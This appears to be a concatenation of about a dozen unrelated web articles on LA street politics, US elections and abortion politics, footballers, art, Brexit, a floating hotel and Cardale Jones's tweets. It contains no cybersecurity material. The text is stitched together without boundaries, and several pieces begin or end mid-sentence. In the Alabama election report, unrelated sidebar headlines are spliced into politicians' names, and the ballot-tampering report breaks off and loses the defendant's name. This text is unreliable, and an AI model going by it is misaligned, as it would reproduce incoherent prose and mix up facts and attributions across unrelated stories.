might think that reading the flyers and the press release emailed out to the LA Times and a small number of local leaders. On the other hand, this information was made available on November 25 – that is two days before Thanksgiving and just seven days before these meetings are scheduled to take place. Cedillo’s official city web-site mentions nothing (latest event listed there is for an August of 2013 “Listening Tour”). Cedillo’s two Facebook accounts, his two twitter accounts, and his official weekly newsletter also haven’t mentioned these meetings.
When Gil Cedillo was working to stop the North Figueroa Street road diet, his office worked hard for weeks leading up to the meetings held in mid-2014. Cedillo spent thousands of dollars on snail mail letters and phone banking to bring anti-bike voices to his meetings. Email blasts were sent to anyone in the area in his contact database in the days and weeks leading up to the meetings. His staff visited Neighborhood Councils and invited the general public and council members. Private groups associated with Cedillo canvassed North Figueroa obtaining signatures of those opposed to bike lanes – from Jesse Rosas (perennial vanity candidate for local office), to Tom Topping (editor of the Boulevard Sentinel), and a group of employees on the clock with Arroyo Vista Family Health Center.
For such a hot-button issue, there is not much notice being given for the upcoming meetings – and this from a councilman who stopped the approved, funded, and designed North Figueroa road diet because the LA Bike Plan: “[Which was] approved by the council in 2011, was developed by 1,000 people in a city of around 4 million. “That’s a very microscopic percentage of people to set an agenda,” [Cedillo] said.”
You have to wonder: how many people will show up at these workshops? My guess: less than 1,000.
There is more to this series of upcoming “safe streets” meetings: the.pdf file used by Cedillo’s office has a name that sheds light on the time scale any improvements might be implemented in. The press release’s file name is “141125 MediaAdv – MetroProjects Community Workshps.pdf”. The numbers at the start of the file make enough sense as a year-month-date title to help keep things in order after multiple Media Advisories are sent out during the councilman’s term in office. The part that caught my eye is the “MetroProjects”. All of Cedillo’s district is in the Metro LA area. These meetings are primarily happening in North East LA – which can be considered part of Metro LA, but not always. “MetroProjects”, to me, is a stand in for “Metro’s Call For Projects” – which is a once-every-two-year grant program administered by Metro. They call it the “CFP” and the 2015 CFP is open for submissions.
Let’s optimistically assume that Councilman Cedillo runs his four meetings and crosses whatever input threshold he feels is necessary to make streets safer (more than 1,000 people?). Let’s also assume that his office has some plans ready to be implemented to win a Metro CFP grant (or four) and that the LADOT is able to get that grant application submitted by January 16, 2015 at 3 p.m. Next, let’s assume Metro awards the money in July and the city gets cracking. We might see changes to the streets after July of 2015 or as late as 2017 (the city has to spend the money in 2015 or apply for a 20-month extension). Best case, we’ll have another year of miserable dangerous streets and then maybe some assortment of projects to improve pedestrian and bicycle access in the district. Will this come to pass? It’s possible, but I’m guessing we’re not going to see anything come to pass in this time frame.
2017, by the way, is Cedillo’s re-election year.
Cause for celebration or a press-release psyche-out? Is Cedillo holding a set of meetings for a bunch of well thought out, ready to implement plans, to re-make neighborhood streets? Or is he simply trying to paper over his awful stance on road diets?
You can find out the answer by: attending these upcoming meetings; following this blog; or our Twitter account (@flyingpigeonla); or following the hashtag #fig4ll on Twitter, Instagram, YouTube and Facebook.On Wednesday, Representative Trent Franks, a Republican from Arizona, made some odd comments while talking about rape and abortion: “The incidence of rape resulting in pregnancy are very low.” The first reaction had by many was that this just showed how little he and the rest of the G.O.P. know about women’s bodies or women’s lives. And that is fair to say, even if, as Jonathan Chait and others have pointed out, Franks was not (or not overtly) in the pseudoscientific wonderland of Todd Akin, the congressman who said there was a mechanism that prevented pregnancy in the case of “legitimate rape.” One study estimated that twenty-five thousand pregnancies result from rape each year—a number that is not by any measure low.
Even as he tried to explain his remarks, Franks showed himself to be to the social sciences and criminology what Akin was to the biological sciences. The remark came as Franks argued for a bill that would ban all abortions after twenty weeks; he was objecting to an amendment that would have made an exception in cases of rape and incest. Why, if the incidence was really so low, would such an exception be a problem? The answer seems to have to do with how Franks think a real rape would be handled. Where, he asked, was the requirement for a police report, which, he suggested, should normally be filed within “forty-eight hours”? That time frame, he said, “is what completely negates and vitiates the purpose for such an amendment”; it was “impossible” for him to imagine otherwise. “To say that we wait until then, to say that there’s a rape or incest involved, is waiting too long,” he said. What woman who had been raped, in other words, wouldn’t have made up her mind about her pregnancy before twenty weeks had passed?
This may be marginally less cartoonish than Akin’s view, but it is no less unkind or unrealistic. Many rapes go unreported; the experience is also likely to be profoundly disorienting, the ambivalence about a pregnancy wrenching. There are women who make a deliberate choice to carry a pregnancy that resulted from rape to term, but it is a hard choice—one Andrew Solomon has written about—and one that deserves more time, not less. (And, in fact, most rape exemptions allow for a doctor’s letter rather than a police report, and a wider time frame.)
But there is also something that Franks and the G.O.P. do know about the legislative process, particularly at the state level, that may be easy to miss if you don’t live in states like Wisconsin or Alabama or North Dakota. Anti-abortion-rights groups and politicians have engaged in a concerted strategy to chip away at the right to choose, bit by bit, in practical ways. Maybe regulations on clinics multiply, or women have to undergo intrusive ultrasounds, or the legal window is closed, week by week. As Jeffrey Toobin pointed out recently, nineteen states passed forty-three different such restrictions in 2012, pushing up against the requirement, laid out by the Supreme Court in Planned Parenthood of Southeastern Pennsylvania v. Casey, that there not be an “undue burden” on women as they decide what should happen to their pregnancies, their bodies, and their lives. At least one of those laws—perhaps from Franks’s home state of Arizona—is likely headed to the Supreme Court, and could be the basis for a challenge to Roe.
Each restrictive move is presented as a modest, reasonable step, or as one that hardly touched anybody (or anybody respectable), even as women, whether those in states like Mississippi, with no clinic within hours of them, or rape victims putting their lives back together, are abandoned. “The rape thing was something the Democrats injected,” Franks said later. “I never would have dealt with that issue.” That is the problem.
Photography by Tom Williams/CQ Roll Call/Getty.MONTGOMERY, Ala. — Democrat Doug Jones pulled off a stunning upset Tuesday in Alabama, defeating Republican Roy Moore in the race for an Alabama Senate seat and dealing a huge blow to President Trump Donald John TrumpHouse committee believes it has evidence Trump requested putting ally in charge of Cohen probe: report Vietnamese airline takes steps to open flights to US on sidelines of Trump-Kim summit Manafort's attorneys say he should get less than 10 years in prison MORE in the process.
Jones is the first member of his party to win a Senate seat in the state since 1992.
With 99 percent of precincts reporting, Jones led by more than 20,000 votes.
"I am truly overwhelmed," Jones told a crowd of cheering supporters in Birmingham, where he celebrated after he was projected as the winner.
Moore spoke later in the night, and refused to concede the race.
He cited an Alabama law that requires an automatic recount if the margin between the two candidates is 0.5 percent or less, though when he was speaking, Jones led by about 1.5 percent, according to the Associated Press.
“That's what we have to do, wait on god and let this process play out," Moore said. "Votes are still coming in and we are looking at that.” Alabama Secretary of State John Merrill, speaking on CNN shortly after Moore's remarks, said he did not expect the result to change, however. Asked if he expected anything other than Jones being certified as the winner, Merrill said, "No, I would find that highly unlikely to occur."
Jones’s victory over Moore comes after fellow Republicans abandoned the winner of their primary after multiple allegations surfaced that he had sexual relationships with underage girls when he was in his 30s.
The upset win by Jones means the GOP will have just a 51-49 edge in the Senate for the next year. A Democratic victory in a traditionally Republican state will also doubtlessly have GOP lawmakers in both chambers worried about next fall’s midterm elections.
At the same time, the Jones victory may be somewhat of a relief to Senate Majority Leader Mitch McConnell Addison (Mitch) Mitchell McConnellHouse to push back at Trump on border Democrats block abortion bill in Senate Overnight Energy: Climate protesters storm McConnell’s office | Center-right group says Green New Deal could cost trillion | Dire warnings from new climate studies MORE (Ky.) and his fellow Republicans, who turned against Moore in droves after the sexual misconduct allegations against him became public.
Republicans were worried that Moore’s election could damage the party’s image and be used against GOP candidates next fall.
President Trump, in contrast, worked to help Moore in the campaign’s final weeks, holding a rally in Florida near the Alabama border and recording a robocall the day before the election.
Moore’s defeat is a significant loss for Trump, and for Stephen Bannon, the former White House strategist and Breitbart News chief who campaigned for him over other Republicans' objections.
Bannon’s critics wasted no time piling on him and framing his brand as toxic to the party’s chances at holding its congressional majority.
“This is a brutal reminder that candidate quality matters regardless of where you are running,” said Steven Law, who serves as the head of the Senate Leadership Fund super PAC and has emerged as one of Bannon’s chief detractors.
“Not only did Steve Bannon cost us a critical Senate seat in one of the most Republican states in the country, but he also dragged the President of the United States into his fiasco,” he added.
Jones, a former federal prosecutor, will serve out the rest of the term formerly held by Attorney General Jeff Sessions Jefferson (Jeff) Beauregard SessionsTrump says he hasn't spoken to Barr about Mueller report Ex-Trump aide: Can’t imagine Mueller not giving House a ‘roadmap’ to impeachment Rosenstein: My time at DOJ is 'coming to an end' MORE until January 2021.
Jones faced an uphill battle to winning the seat in Alabama, a state where Trump defeated Hillary Clinton Hillary Diane Rodham ClintonSanders: 'I fully expect' fair treatment by DNC in 2020 after 'not quite even handed' 2016 primary Sanders: 'Damn right' I'll make the large corporations pay 'fair share of taxes' Former Sanders campaign spokesman: Clinton staff are 'biggest a--holes in American politics' MORE last fall, 62 percent to 34 percent. But Democrats outpaced Republicans in turnout, a shocking display in such a red state.
Moore, a former state Supreme Court chief justice, has a loyal base of supporters who helped carry him to defeat the establishment pick for the seat, Sen. Luther Strange Luther Johnson StrangeDomestic influence campaigns borrow from Russia’s playbook Overnight Defense: Senate bucks Trump with Yemen war vote, resolution calling crown prince'responsible' for Khashoggi killing | House briefing on Saudi Arabia fails to move needle | Inhofe casts doubt on Space Force Five things to watch in Mississippi Senate race MORE, in late September.
Things changed when The Washington Post reported the first allegations against Moore in early November. The Republican’s standing in the polls plummeted and calls for him to step down echoed in Washington.
A handful of women came forward during the campaign to accuse Moore of pursuing them decades ago, while the women were teenagers and Moore was in his 30s. One accused Moore of touching her sexually while she was only 14 years old, while another accused him of sexually assaulting her when she was 16 years old.
Moore has denied every allegation and called the Post story “fake news.” But Republicans in Washington, including McConnell called on him to withdraw. Some floated the idea of expelling him if he won.
A slight majority of the electorate told exit pollsters they believed the accusations, but only 7 percent said the allegations were the most important factor in their decision.
Jones’s victory appears to have been propelled by strong voter turnout among African-Americans. Early exit polls indicated that black people would make up almost 30 percent of the electorate, even though black voters typically make up 25 percent of the electorate.
His strategy in the final days focused heavily on targeting African-Americans. Jones, who gained recognition in the state for prosecuting two Ku Klux Klan members who bombed a black church in Birmingham, Ala., during the civil rights movement, campaigned with Sen. Cory Booker Cory Anthony BookerSanders: 'Damn right' I'll make the large corporations pay 'fair share of taxes' GOP Sen. Tillis to vote for resolution blocking Trump's emergency declaration Warren Buffett: I would support Bloomberg if he ran for president MORE (D-N.J.). Former NBA superstar Charles Barkley, an Alabama native showed up for a rally on the eve of the election.
To bring moderates onto his side, Jones’s campaign blanketed the radio waves with advertisement boosting comments made by senior Alabama Sen. Richard Shelby Richard Craig ShelbyBottom Line Senate plots to avoid fall shutdown brawl How the border deal came together MORE (R) during a Sunday interview on CNN, where he said he would not vote for Moore. Ultimately, Jones appears to have won 52 percent of the independent vote.
The Democratic campaign undertook a historic effort to search for votes in every nook and cranny of the state — logging 1.2 million voter phone calls and knocking on 300,000 doors — an effort made more notable because of the lack of any real Democratic infrastructure statewide.
State Rep. Anthony Daniels, the Democratic leader in the Alabama state House, applauded the Jones campaign’s operation in an interview with The Hill on Sunday, predicting he would outperform despite “no infrastructure on the party side.”
“Doug Jones has built the coalition that I dream for Democrats to go and make a comeback,” Daniels said.
“Voters are tired of not really getting any return on their investment from Republicans,” he said.Anyone with even a passing interest in global football can’t help but have witnessed the rise of Tottenham Hotspur’s midfield sensation Dele Alli. Since making his Premier League breakthrough last season, he’s established himself not just in Tottenham’s first team but also as England’s attacking fulcrum, marking his debut with a thunderbolt goal to announce his arrival on the world stage. This year his goals have helped push Tottenham within touching distance of the top spot in the league, while in March he picked up the Young Player of the Year award for the second year running.
Away from football, the self-confessed sneakerhead has a marked interest in fashion, turning up at our shoot at the Prévu studio in East London in Chanel trainers, a Gucci T-shirt, and a Saint Laurent hoodie. With this season soon to draw to a close, we spoke to him about his interests off the pitch and aspirations on it.
How did you get into fashion growing up?
When I was younger, most kids my age wore astro turf boots and jeans but when you get a bit older you grow out of that and start changing it up. Trainers have always been one of my biggest interests – I collect them and try to get hold of as many pairs as possible. Back then it was all about high-end trainers and you’d see a lot of the older players wearing Balenciagas so I started collecting them before moving onto Zanottis. I’m also a big fan of the adidas Yeezys and always try to get the new drops. I like the boots and the Season 3 stuff as they’re a bit different — although I get a lot of stick from the boys at football for them.
What are some of the labels you’re into now?
I like a lot of pieces by Saint Laurent and Gucci’s pieces – you can wear them to look smart or more casually. And I love the T-shirts Amiri does with the holes. I like things that are a bit different but not too out there. I wear a lot of hoodies especially as here in England it gets pretty cold.
Which footballers do you think have a strong sense of style?
I’d say Daniel Sturridge — he’s not much older than me but when I started getting into fashion I always thought he dresses well. And Odell Beckham Jr. — you see a lot of pictures of him and he always looks good.
How competitive is the dressing room when it comes to fashion?
If someone comes to training and they’re wearing something awful we’ll hang it up in the dressing room and give them stick so you always need to make sure you’re looking good. Me and Eric Dier always try to embarrass each other. But I’d say me, Kyle Walker and Danny Rose are probably into it the most.
What are your away-day essentials?
Sometimes the TV isn’t good so it’s useful to have a laptop so I can watch films and these Jaybird headphones are comfortable and have good music quality. That vanilla and raspberry shower gel smells good and I use Byredo fragrance and Jo Malone body cream. I don’t think the Tottenham fans will be happy with my red iPhone but it’s nothing to do with Arsenal — I wish they did a blue one!
What music are you listening to right now?
I’ve probably played Future’s Hndrxx and the new Drake album to death. The UK grime and rap scene is getting bigger too — it’s been around for a long time but they’re starting to mix it with the Americans and that’s good for the country.
Who are the DJs in the England squad?
Raheem Sterling and Alex Oxlade-Chamberlain are into their music and know what they’re doing. And actually Joe Hart is probably an unexpected one too — he’s been trying to keep up with us when it comes to music and he’s getting better!
Where do you like to eat in London?
My nutritionist might have something to say about it but I love a Five Guys. In central London you’ve got a lot of nice restaurants — Coya is one of my favorites — but if you’re looking at fast food it’s always Nando’s or a Five Guys. I’m hardly ever allowed that sort of food, although occasionally I might break the rules.
And do you cook at home?
No. I have a chef who cooks healthy stuff for me at home. If I was cooking it’d be something like beans on toast.
What’s the story behind your recent handshake goal celebrations with Harry Kane?
We sit next to each other in the changing room and when we both started scoring a few goals, we said we needed a celebration. Since then we’ve done alright so I don’t think we’ll be changing it just yet.
With that in mind are there any other famous goal celebrations you love?
I’d say Peter Crouch’s Robot – it’s class and sums up his character.
Who’s the best player you’ve come up against?
Toni Kroos for Real Madrid and Germany – on his day you can’t get close to him. Obviously you want to be thinking about your own game but when you’re pressing, it’s quite annoying when he can just pop the ball off so easy — he’s just a joy to watch.
What are the standout moments from your career so far?
Probably my debut for England when I scored against France. And then at the European Championships, which was my first major tournament. Everyone was gutted with the way it went but it’s always amazing to play for your country and it gives us great experience to learn ahead of the next tournament.Being Inspired
An Artist’s Perspective On Making Art
I LOVE being inspired.
Feeling inspired sends a pulse of golden energy through my body. And with it comes a buzz of flittering excitement.
Like a wave, this inspired energy brings with it a notion of hope, creativity, optimism, imagination, endless possibilities, and purpose. With this inspiration, I feel like my own King Midas, with the ability to effortlessly alter just about anything into pure gold with just a breath of my enthusiasm. Inspiration makes me feel invincible and aligned with my purpose for being on this planet. When I feel inspired, I feel like a super-hero.
However, like one of those schmarmy infomercials that promotes an uncomfortable sense of urgency, there is a sense of timeliness that comes along with my inspiration; as if this creative effort NEEDS to be done NOW or else I might lose it. Or worse: someone else might get this idea and publicize it first.
And, if life went exactly as I wanted it to, I would drop everything and respond to this call of creativity.
But, often when I schedule some time to create, it goes less like my ideal and a little more like this:
Regardless, my creative drive is strong so once the distractions are dealt with, I can manage to get in a few minutes of creativity.
But like stubborn dog, inspiration doesn’t always come when I want it to.
Sometimes it comes at 3am rudely waking me from a comfortable slumber with a confused pomp and circumstance. I toss and turn with thoughts as equally restless as I am, wondering what was sooooo important to steal me from my dreams of gold and glory. After about an hour or so, I may get a hint of something glorious that needs to be manifested into this world.
Or sometimes it will come in the middle of the day, at work, when I really, really, really need to get projects completed.
But, at some point, when inspiration comes knocking at my door so loudly that the only option I have is to answer it, I make time to create… I have to. If not, I get edgy, resentful, and throw some artful adult temper tantrums.
So, after my pity parties and tantrums subside, I allocate some time to create either after my daughter goes to bed, in the middle of the night when I can’t sleep, or even 15 minutes in between projects during the day. And, if I don’t, I’m fortunate enough that my incredible husband will see the signs of my emotional distress and will take our daughter on an outing so I can have some quiet time to myself.
And then, just when all is quiet and in place, and nothing else needs my attention and is absolutely perfect… just then when I think all will go my way… just then, my own thoughts can sometimes backfire.
Sometimes, instead of optimizing my precious time, I start feeling those waves of guilt that kept me from creating in the first place because I am not sure if I REALLY should create or if I should be a responsible mom/wife/friend/business owner instead.
But, like I said before, if I don’t honor my creative spirit, I get cranky… super cranky. So I do some self-talk to justify taking a little bit of time during the day for me. And yes, though I still feel some of the guilt when I start creating, it always feels so worth it when I am done.
And, if my internal judge shows up and decides to start criticizing that what I am making is utter crap, (which she does quite often), I sometimes make a practice to completely embrace it by creating the absolute ugliest thing possible. I choose the ugliest colors and just go, pushing paint, spreading paint, scraping paint, sometimes even smearing or removing paint. I get free in the expectation of what I am painting and just embrace the process. Or if drawing, I work heavily in pencil with that handy kneaded eraser nearby, knowing that in the end, Photoshop can help me remove those little horrors if need be.
When I settle into it, just creating something can help me as a form of meditation and helps me feel creatively free. But no, the initial product is nothing I want to show anyone. In fact, it can be terribly embarrassing when someone comes over to see something in this stage.
I used to get worried that they will think that my art is crap and is all I can do or that I have lost my marbles and am officially crazy. And though that is really frightening, I’ve found a lot of freedom in this process. So I push through the fear and embrace that the “ugly” stuff is just a representation of some of my more flavorful parts of me (like my anger, frustration, etc.) and these layers of “ugly” are just part of this whole process. All I can do is just accept it.
I’m sure that after I get through the layers of psychoanalysis and am able to remove my deep dark issues of unworthiness, abandonment, repressed anger, etc., that my process will go smoother. But for now, this is just one part of my creative process and part of me. So, as uncomfortable as it is, I choose to embrace it, and just paint and create. And, despite the icky-ness and frustration, in the end, it feels amazingly freeing.
And, though all of those processes seem sometimes so crazy and complex, once in awhile, when I just surrender to the will of the world, the trifecta of a beautiful meeting of time, inspiration, and effort will occur for me.
I don’t know when it will happen and can’t force it. Yet, when it occurs, I feel so blessed, like I have won the lottery.
It may be only 5 minutes, it may be 5 hours, but when the three come together: time, inspiration and energy, that is the circumstance where truly insightful creations can be manifested.
I have made it a priority for me to have creation time in my life because creating is a integral part of who I am. I have the blessed opportunity to create for my job and for myself, whether it be through painting, comics, or graphic and web design. But the time I allocate for my inspiration doesn’t always procure masterpieces.
So I have to just take it when I can and realize that though I have a thousand ideas, some inspiration doesn’t need to be acted on. I can choose to revel in the yumminess of the times when I can create, free of true judgement of the outcome of the piece and self-criticism, even if it is only 3 minutes of creation. When I allow those hints of inspiration to come through, free of all the “should’s,” it is the best feeling in the world.They’re the numbers all Blues fans have been waiting for – the numbers our 15 new recruits will wear in 2016.
As revealed exclusively on Tuesday night via Carlton’s Instagram account (carlton_fc), the Blues’ No.1 pick Jacob Weitering will wear the No.23, while father-son recruit Jack Silvagni will don the No.2.
Although Silvagni joked yesterday that he and Andrew Walker would “share” the No.1 locker, made famous by his father Stephen and grandfather Serge, the 17-year-old had already made up his mind to forge his own career in the No.2.
“The No.2 gives me more of an opportunity to create my own path, obviously Serge and dad wore No.1, so I guess you could say one plus one equals two,” Silvagni said.
“I’m really happy there’s still a nice synergy between the number my grandfather and dad played in and my new number.”
The No.2 is a significant number in Carlton history – a fact that’s not lost on the young forward.
“The No.2 is a massive number, you’ve got Greg Williams, a dual Brownlow Medallist, and John Nicholls, arguably our greatest player of all time, who have both worn the No.2.
“I hope to wear the number for many years to come and make my own mark in this jumper.”
Meanwhile, Jacob Weitering’s father Darren always instilled in Jacob that “the number doesn’t make the player”, but the number 23 has always been a significant number in the Weitering household.
“As a family our favourite number has always been 23…if he ends up with 23 that would be fantastic,” Weitering’s mother Tanya said on draft night.
“We got engaged on the 23rd, married on the 23rd we when were 23-years-old and we had our first child on the 23rd.”
Jacob, who celebrated his 18th birthday on November 23, had never played under that number until he entered the NAB AFL Academy.
“He brought home his suitcase and he said ‘mum I think it’s an omen’ and he had the number 23 – and every time he played in that jumper he played really well.”
Carlton’s tall key forward, draftee Harry McKay, was rapt to receive the No.10, the same number in which he was selected by Carlton in the national draft.
As a mark of respect for retired champions Chris Judd and Andrew Carrazzo, the No.5 and No.44 jumpers will not be used in season 2016.
Here are the new Blues' numbers:For months Phoenix Jones has patrolled the streets of Seattle by night and, as Ben Fodor, taught life skills to autistic children by day. As reported by PubliCola, The Washington Department of Social and Health Services sent Fodor a letter informing him he was barred from working with children. Although the specific reasons for his termination have not been publicized, Fodor was probably disqualified by the DSHS because of his arrest back in October. Although no charges were filed because the case is still under investigation, the court appearance forced him to reveal his secret life as a superhero to the public.
Ben Fodor has been teaching life skills to five autistic minors for the last five years. I do not live in Washington, but I am a credentialed teacher. When you work with children, you have to guard your personal life. The standards of behavior are different when you’re a teacher because you are considered a role model and, for part of the day, are in loco parentis, which is Latin for “in place of a parent.” Because of our status, we have to be very careful of how we conduct ourselves and monitor what we make public.
Fodor was very involved in his students’ lives; he went shopping with them, he showed them how to balance a checkbook, and he accompanied them on walks. When he was arrested, his private persona collided with his public life, and many states do not appreciate it when students know their teachers are humans with lives outside of school. Once Phoenix Jones was unmasked, Fodor’s days of working with children were numbered, especially since his private persona was connected to violence.
The DSHS will probably make the case that his arrest combined with his willingness to put himself in dangerous situations exposes the children to possible harm, so it is unlikely that Fodor will get his job back. Fodor is not sure how he will pay his bills now, but he’s currently entertaining offers from the mixed martial arts organization Strikeforce. In the meantime, he will fight crime during the day as well as continue his night patrols. Ben Fodor might be out of a job, but Phoenix Jones has plenty of work to do.It's not every day that you can Google a resort destination, only to find it situated in the middle of a lake. Yet that's precisely what you'll see when researching the Utter Inn. Located in Lake Mälaren in Västerås, Sweden, this unusual red shanty serves as a floating, underwater hotel for those seeking a truly unique kind of getaway.
According to Go Unusual, the Utter Inn was conceived by artist Mikael Genberg and opened in 2000. The hotel's signature feature is an underwater room, 3 meters below the surface, with panoramic windows that provide views of Lake Mälaren's marine life.
Once guests are dropped off at the Utter Inn via boat, they're left to enjoy the peace and tranquillity one can only find floating in the middle of a lake.It is not just Britain which would be damaged if it quit the European Union. So would other members. Jean-Claude Juncker’s nomination as Commission president at last Friday’s summit increases the chance of Brexit – Britain’s exit from the EU. Leaders from all countries now need to work to limit the risk it happens.
David Cameron went out on a limb to block Juncker, and failed. The UK prime minister mishandled the diplomacy, notably by seemingly threatening to pull out of the EU if the former Luxembourg premier got the job.
The chances of Britain quitting the EU in the next five years are probably about 20 percent – assuming a 50 percent chance of the Tories winning next year’s general election and a 40 percent chance of the British people voting to quit in a referendum Cameron has promised to hold by 2017.
The opposition Labour party won’t hold a plebiscite if it wins the general election. That doesn’t mean the question will go away. Tory eurosceptics and the UK Independence Party will not give up – so there could well be a referendum after 2020.
Some continental politicians may trumpet indifference at the Brexit prospect, on the grounds that the United Kingdom has always been an awkward member and that, without it, the EU would be able to run its affairs more smoothly. But there are five strong reasons for keeping Britain inside the tent.
The first is precisely because Britain is often prepared to be awkward, calling a spade a spade – for example, when it raised doubts about the single currency project.
Second, the UK has a track record of pushing for free-market reforms – both to liberalise the EU’s market and cut trade deals with other economic blocs. Without the British voice, the EU might become more protectionist.
Third, the UK accounts for 15 percent of EU GDP. It now has the third-largest economy after Germany and France. In 30 years, it could have the largest, because its population is growing rapidly while Germany’s is falling. If Britain cuts itself off even partially from this single market, it will be badly hurt; but the rest will also suffer.
Fourth, a Brexit would upset the EU’s internal dynamics. Many other countries would fear an increase of Germany’s influence. Berlin, meanwhile, would worry that southern states would find it easier to gang up against it.
Finally, the EU’s foreign and security policy would suffer a severe setback. It is easy to mock the current approach which has little to show for itself. But one only has to look at the EU’s unstable neighbourhoods – Ukraine and Russia to the east, North Africa and the Middle East to the south – to appreciate that it is going to need to get serious in the years to come. Without Britain, the EU would have less clout.
So how can EU leaders cut the risk of Brexit?
For a start, Cameron needs to play the EU diplomacy game better. That means quickly making peace with Juncker. Why not invite him to Downing Street? The British premier should also propose a heavy-hitter as the UK’s own EU commissioner – somebody like William Hague or Michael Howard, both former leaders of his party.
Meanwhile, Cameron needs to build more alliances. He relied too much on Germany’s Angela Merkel. She may be the most important leader in the EU. But Britain also needs allies in Italy, France, Spain, Poland and so forth.
EU members offered Britain a couple of concessions at the summit. They said they would review the system of nominating future Commission presidents. This is important because the way in which Juncker was chosen amounted to a power grab by the European Parliament. The leaders should make clear that this will not set a precedent. Otherwise, power will have permanently shifted from national governments to the European Parliament. It’s doubtful that this is what the people want in any major EU country.
The summit also interpreted the phrase in the EU treaty calling for ever closer union among the people of Europe as “respecting the wish of those who do not want to deepen [integration] any further.” That formulation won’t satisfy British eurosceptics, for whom the phrase is a bugbear. But with a few tweaks this olive twig could become a full olive branch.
If Cameron does propose a heavy-hitter as Britain’s commissioner, other leaders should respond by offering that person a top job – ideally the task of completing the single market, which is still patchy in services including those delivered via the internet.
They should also sharpen up the work programme they have sketched for the next five years. The core of this should be: a renewed drive to complete the single market; free trade deals with the United States and Japan; a revamped energy policy; building up non-bank finance so it can take up the slack as banks shrink; and cutting red tape.
A plan like this wouldn’t just be good for growth and jobs in the EU. It would help the case of the Brits who want to stay in the EU. By cutting the risk of Brexit, that would help the EU too.OREGON CITY -- A Clackamas County grand jury on Wednesday indicted
, 55, on charges of ballot tampering.
left blank to cast additional votes for Republicans.
Swenson, a Beavercreek resident, is charged with two counts each of unlawfully altering a cast ballot, unlawfully voting more than once and first-degree official misconduct.
State investigators said they believe Swenson acted alone and found no evidence others were involved.
Jeff Manning, spokesman for the state Department of Justice, declined to specify the number of ballots Swenson is suspected of altering.
Authorities previously said on Nov. 6 -- Election Day -- that six suspect ballots had been identified.
"As long as a trial is pending, we're not going to be able to go into detail, I |
waterboarding and other forms of torture.
The ACLU stated of Trump’s plans, “These proposals are not simply un-American and wrongheaded, they are unlawful and unconstitutional. They violate the First, Fourth, Fifth, Eighth, and Fourteenth Amendments.”
Depending on how he separates himself from his business empire, Trump will enter office already violating the Emoluments Clause of the Constitution by accepting favors for his foreign investments and with foreign dignitaries staying at the opulent new Trump Hotel in Washington, D.C.
Defense of labor
The multi-racial, multi-gender identity, multi-generational, labor movement played a leading role in the electoral coalition backing Clinton. There is no doubt were it bigger she might have won. The labor movement was also the most effective organizer in the communities of white workers, dispelling lies and challenging the Trump demagogy.
But the labor movement has been crippled and in some cases decimated through plant closings, layoffs, and anti-labor legislation in key Midwest battleground states won by Trump, especially Michigan, Wisconsin, Ohio, and Pennsylvania.
A central and strategic aim of this administration will be the destruction of the labor movement. They will draw on Republican success at the state level to pass a national right-to-work law and attempt to destroy public sector unions.
The timely death of Justice Antonin Scalia was the only thing that prevented the Supreme Court from deciding against unions in Friedrichs v California Teachers Association.
Trump’s proposed $1 trillion infrastructure bill may be used to split the labor movement and consolidate his support, while rewarding investors through privatization of projects. We join with labor to insist workers be paid prevailing wages, the work be done by union members, and affirmative action guidelines implemented. There should be no privatization of finished projects.
Engaging with Trump voters; exposing the GOP
Trump won among white voters across the board and these voters must be engaged in cities, suburbs, small cities, rural areas, “red states,” and “red districts”.
There is no avoiding engaging and winning these voters if Trump and the right wing are to be defeated and social progress achieved. They too will feel the lash.
This requires building movements and coalitions, including the electoral coalition that works in and with the Democratic Party, on the ground in such places to oppose the assault on Social Security, Medicare, healthcare, etc. – winning people on the basis of self-interest, common destiny, and morality.
It means ramping up engagement in the “battle of ideas” through expanding the reach of the People’s World and independent progressive mass media to millions now getting their news and information from right-wing media sources.
Trump has brought the most extreme political forces from the political fringes into the mainstream and into the White House. GOP elected officials are normalizing the existence of these forces at the center of government as they stumble in line behind Trump. They are getting an assist from sections of the corporate mass media that are treating this like a normal conservative GOP administration.
Contrary to his claims though, Trump is no anti-establishment outsider. Right-wing billionaires, the Heritage Foundation, and corporate lobbyists back him. They will stock his cabinet and are providing policy blueprints and lists of names to stack departments and the judiciary at all levels.
The authoritarianism and corruption of this new regime will deepen the inherent crises and contradictions of capitalism, between society and nature, and the existential crisis the planet faces due to climate change.
Trump arose amidst the divisions within the GOP. As Dimitrov noted, “In reality, fascism usually comes to power in the course of a mutual, and at times severe, struggle against the old bourgeois parties, or a definite section of these parties.”
Authoritarian regimes are historically unstable and characterized by infighting, jockeying for the leader’s ear, corruption, enemies lists, and ruthless retribution. We are seeing that all play out in the Trump transition.
This administration will have features of both a kleptocracy (rule by thieves) and a kakistocracy (a form of government in which the worst and least qualified persons are in power). These forces now have full access to the state security apparatus, which they also utilized during the campaign by colluding with right-wing rogue elements in the FBI.
They will govern the way they campaigned – through division, fear, and intimidation. This is the meaning of the appointment of the white supremacist, anti-Semite, and former CEO of Breitbart News, Steve Bannon as White House chief strategist.
Breitbart News, the mouthpiece of the so-called alt-right, a white supremacist movement, will be a de facto state mass communication arm of the Trump presidency – its ministry of information, marshaling supporters and attacking opponents.
During the administration of Pres. George W. Bush, the neo-cons arrogantly declared, “We create our own reality.” They were in for a rude awakening.
Trump will also confront new global and climate realities, economic integration, regional trade pacts, treaties, and alliances. In today’s world, the U.S. is a descending power and China and other countries are ascending powers. In addition to the domestic resistance movement, these will all act as countervailing forces to his unfolding policies.
The American people face difficult and ugly days ahead. The ferocity of the attack and suffering will be enormous, but the fight against it will stir hearts too. With unity, solidarity, and steadfastness, the Trump menace can and will be defeated.
This article is part 1 of 2. The second installment can be read here.As usual, Cardale Jones was on top of his Twitter game on Wednesday night at the ESPY Awards, where he and the national champion Ohio State Buckeyes were nominated for numerous awards.
Jones didn't take home any hardware, but he did take advantage of his proximity to a certain person he admittedly has a crush on, UFC Women's Bantamweight Champion Ronda Rousey, who won the ESPY for Best Female Athlete.
Jones sent several tweets to Rousey throughout the evening, all of which went unanswered. Well, for the night at least.
Is it weird that I have a crush on @RondaRousey and scared of her at the same time — Cardale Jones (@CJ12_) July 16, 2015
Soooooooo @RondaRousey what you doing after the show? — Cardale Jones (@CJ12_) July 16, 2015
@RondaRousey but if you already talking to a UFC fighter I'm cool — Cardale Jones (@CJ12_) July 16, 2015
Until Thursday, that is, when Rousey did in fact respond to Jones' tweets in a video for Fox Sports, which can be seen below.
